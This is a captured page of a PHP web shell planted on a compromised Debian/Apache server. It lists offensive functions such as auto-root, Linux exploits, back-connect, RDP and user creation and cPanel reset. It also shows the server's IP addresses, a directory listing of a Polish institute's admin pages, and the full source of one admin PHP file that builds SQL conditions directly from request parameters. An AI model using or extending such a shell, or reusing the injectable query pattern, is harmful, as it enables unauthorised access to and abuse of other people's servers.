Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.12.34.96
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web.back /
v2021 /
protected /
Pages /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
ClassCatalog.page
18.95
KB
-rw-r--r--
ClassCatalog.php
16.13
KB
-rw-r--r--
ClassMaterials.page
2.26
KB
-rw-r--r--
ClassMaterials.php
4.73
KB
-rw-r--r--
ClassSchedule.page
1.58
KB
-rw-r--r--
ClassSchedule.php
1.26
KB
-rw-r--r--
ClassScheduleBlockEdit.page
2.7
KB
-rw-r--r--
ClassScheduleBlockEdit.php
7.7
KB
-rw-r--r--
ContentBrowse.page
1.41
KB
-rw-r--r--
ContentBrowse.php
4.16
KB
-rw-r--r--
GlobalPapersEdit.page
3.43
KB
-rw-r--r--
GlobalPapersList.php
1.37
KB
-rw-r--r--
Home.page
43
B
-rw-r--r--
Login.page
670
B
-rw-r--r--
Login.php
446
B
-rw-r--r--
NewsItemEdit.page
3.1
KB
-rw-r--r--
NewsItemEdit.php
2.25
KB
-rw-r--r--
NewsItemImageEdit.page
1.49
KB
-rw-r--r--
NewsItemImageEdit.php
3.97
KB
-rw-r--r--
NewsItems.page
2.08
KB
-rw-r--r--
NewsItems.php
1.46
KB
-rw-r--r--
PaperCoverEdit.page
1.47
KB
-rw-r--r--
PaperCoverEdit.php
4.08
KB
-rw-r--r--
PapersEdit.page
5.44
KB
-rw-r--r--
PapersEdit.php
12.41
KB
-rw-r--r--
PasswordChange.page
511
B
-rw-r--r--
PasswordChange.php
1.16
KB
-rw-r--r--
RightBoxEdit.page
2.54
KB
-rw-r--r--
RightBoxEdit.php
4.1
KB
-rw-r--r--
RightBoxImageEdit.page
1.47
KB
-rw-r--r--
RightBoxImageEdit.php
4.11
KB
-rw-r--r--
RightBoxesList.page
1.52
KB
-rw-r--r--
RightBoxesList.php
1.47
KB
-rw-r--r--
UserBrowse.page
3.46
KB
-rw-r--r--
UserBrowse.php
2.79
KB
-rw-r--r--
UserCreate.page
1.86
KB
-rw-r--r--
UserCreate.php
1.51
KB
-rw-r--r--
UserEdit.page
8.95
KB
-rw-r--r--
UserEdit.php
8.9
KB
-rw-r--r--
UserPapers.page
3.63
KB
-rw-r--r--
UserPapers.php
1.74
KB
-rw-r--r--
UserPhotoEdit.page
1.5
KB
-rw-r--r--
UserPhotoEdit.php
3.96
KB
-rw-r--r--
config.xml
227
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClassScheduleBlockEdit.php
<?php class ClassScheduleBlockEdit extends KAdminPage { private $_group_available_classes; private $_all_ifk_people; public function onLoad($p) { parent::onLoad($p); if (!$this->isPostBack) { $this->bindData(); } } public function getGroupAvailableClasses() { if (is_null($this->_group_available_classes)) { $crit = new TActiveRecordCriteria; $crit->OrdersBy['name'] = 'asc'; $crit->Condition = 'group_id = '.$this->Request['gid']; $this->_group_available_classes = KClass::finder()->findAll($crit); } return $this->_group_available_classes; } public function getAllIFKPeople() { if(is_null($this->_all_ifk_people)) $this->_all_ifk_people = KUserRecord::getAll(); return $this->_all_ifk_people; } public function addIFKPerson($sender, $param) { $item_index = $sender->parent->ItemIndex; $persons = $this->getClassGiversFor($this->ScheduleEntriesList->DataKeys[$sender->parent->parent->parent->parent->ItemIndex]); if (!$persons[$item_index]) $persons[$item_index] = new KClassGiver(); $persons[$item_index]->name = '@@'.$sender->SelectedValue; $this->ScheduleEntriesList->setViewState('GiversData'.$this->ScheduleEntriesList->DataKeys[$sender->parent->parent->parent->parent->ItemIndex], serialize($persons)); $this->bindData(); } public function deleteIFKPerson($sender, $param) { $item_index = $sender->parent->ItemIndex; $persons = $this->getClassGiversFor($this->ScheduleEntriesList->DataKeys[$sender->parent->parent->parent->parent->ItemIndex]); if (!isset($persons[$item_index])) $persons[$item_index] = new KClassGiver(); $persons[$item_index]->name = ''; $this->ScheduleEntriesList->setViewState('GiversData'.$this->ScheduleEntriesList->DataKeys[$sender->parent->parent->parent->parent->ItemIndex], serialize($persons)); $this->bindData(); } public function getClassGiversFor($schedule_entry_id) { $givers = array(); if ($this->ScheduleEntriesList->getViewState('GiversData'.$schedule_entry_id, null) === null) { $giversdata = array(); if (!is_null($schedule_entry_id)) { $crit = new TActiveRecordCriteria; $crit->OrdersBy['sort_pos'] = 'asc'; $crit->Condition = 'schedule_id = '.$schedule_entry_id; $giversdata = KClassGiver::finder()->findAll($crit); }; for($i=0; $i<count($giversdata); $i++) { $givers[$i]->name = $giversdata[$i]->name; $givers[$i]->notes = $giversdata[$i]->notes; } $givers = array_pad($givers, max(5, count($givers)+1), ''); $this->ScheduleEntriesList->setViewState('GiversData'.$schedule_entry_id, serialize($givers)); } else { $givers = unserialize($this->ScheduleEntriesList->getViewState('GiversData'.$schedule_entry_id, array())); } return $givers; } public function bindData() { $blocksig = $this->Request['block']; $weekdaynames = array("Poniedziałek", "Wtorek", "Środa", "Czwartek", "Piątek"); $this->Heading->Text = $weekdaynames[$blocksig[0]-1].", ".KScheduleEntry::$_block_hours[$blocksig[1]-1].", ".KClass::$_group_names[$this->Request['gid']]; $entries = KScheduleEntry::getEntries($this->Request['block'], $this->Request['gid']); if ($this->ScheduleEntriesList->EditItemIndex == count($entries)) { $entries[] = new KScheduleEntry; } $this->ScheduleEntriesList->setDataSource($entries); $this->ScheduleEntriesList->dataBind(); } public function fillEditControls($sender, $param) { $item = $param->Item; if ($item->ItemType == "EditItem") { $item->ClassSelect->setDataSource($this->getGroupAvailableClasses()); $item->ClassSelect->dataBind(); if (isset($this->Request[str_replace('_', '$', $item->ClassSelect->ClientID)])) $item->ClassSelect->SelectedValue = $this->Request[str_replace('_', '$', $item->ClassSelect->ClientID)]; else $item->ClassSelect->SelectedValue = $item->Data->class_id; $item->ClassgiversList->setDataSource($this->getClassGiversFor($item->Data->id)); $item->ClassgiversList->dataBind(); if (isset($this->Request[str_replace('_', '$', $item->EntryPlace->ClientID)])) $item->EntryPlace->Text = $this->Request[str_replace('_', '$', $item->EntryPlace->ClientID)]; else $item->EntryPlace->Text = $item->Data->place; if (isset($this->Request[str_replace('_', '$', $item->EntryNotes->ClientID)])) $item->EntryNotes->Text = $this->Request[str_replace('_', '$', $item->EntryNotes->ClientID)]; else $item->EntryNotes->Text = $item->Data->notes; } } public function fillClassgiversData($sender, $param) { $item = $param->Item; if ($item->ItemType == "Item" || $item->ItemType == "AlternatingItem" ) { $item->IFKPeople->setDataSource($this->getAllIFKPeople()); $item->IFKPeople->dataBind(); if (($person = KUserRecord::parseAuthorEntry($item->Data->name)) instanceof KUserRecord) { $item->PersonName->Visible = false; $item->IFKPersonName->Text = $person->NameAndTitle; $item->IFKPersonName->Visible = true; $item->IFKPersonDeleteButton->Visible = true; $item->IFKPeople->Visible = false; $item->PersonName->Visible = false; $item->PersonLabel->Visible = false; } else { if (isset($this->Request[str_replace('_', '$', $item->PersonName->ClientID)])) $item->PersonName->Text = $this->Request[str_replace('_', '$', $item->PersonName->ClientID)]; else $item->PersonName->Text = $item->Data->name; } $item->PersonNotes->Text = $item->Data->notes; } } public function newScheduleEntry($sender, $param) { $entries = KScheduleEntry::getEntries($this->Request['block'], $this->Request['gid']); $entries[] = new KScheduleEntry; $this->ScheduleEntriesList->EditItemIndex = count($entries)-1; $this->ScheduleEntriesList->setDataSource($entries); $this->ScheduleEntriesList->dataBind(); } public function editScheduleEntry($sender, $param) { $this->ScheduleEntriesList->EditItemIndex = $sender->parent->parent->ItemIndex; $this->bindData(); } public function deleteScheduleEntry($sender, $param) { $entry = KScheduleEntry::finder()->findByPk($this->ScheduleEntriesList->DataKeys[$sender->parent->parent->ItemIndex]); $entry->delete(); $this->bindData(); } public function cancelEditing($sender, $param) { $this->ScheduleEntriesList->EditItemIndex = -1; $this->bindData(); } public function saveScheduleEntry($sender, $param) { $entryitem = $sender->parent->parent->parent; $_entry = KScheduleEntry::finder()->findByPk($this->ScheduleEntriesList->DataKeys[$entryitem->ItemIndex]); if(!$_entry instanceof KScheduleEntry) { $_entry = new KScheduleEntry; $viewstate_givers_data = unserialize($this->ScheduleEntriesList->getViewState('GiversData')); } else $viewstate_givers_data = $this->getClassGiversFor($_entry->id); $_entry->block = $this->Request['block']; $_entry->class_id = $entryitem->ClassSelect->SelectedValue; $_entry->place = $entryitem->EntryPlace->SafeText; $_entry->notes = $entryitem->EntryNotes->SafeText; $this->bindData(); $_entry->clearClassgivers(); $_entry->save(); foreach($entryitem->ClassgiversList->Items as $item) { if ($item->PersonName->Text != '' || $viewstate_givers_data[$item->ItemIndex]->name != '') if ($item->PersonName->Visible) $_entry->addClassgiver($item->PersonName->SafeText, trim($item->PersonNotes->SafeText)); else $_entry->addClassgiver($viewstate_givers_data[$item->ItemIndex]->name, trim($item->PersonNotes->SafeText)); } $this->ScheduleEntriesList->clearViewState('GiversData'.$_entry->id); $this->Master->messageSuccess("Zapisano zmiany"); $this->ScheduleEntriesList->EditItemIndex = -1; $this->bindData(); } public function backToSchedule() { $this->response->redirect($this->Service->constructUrl('Admin.ClassSchedule', array('_rg'=>$this->Request['gid']))); } } ?>
Close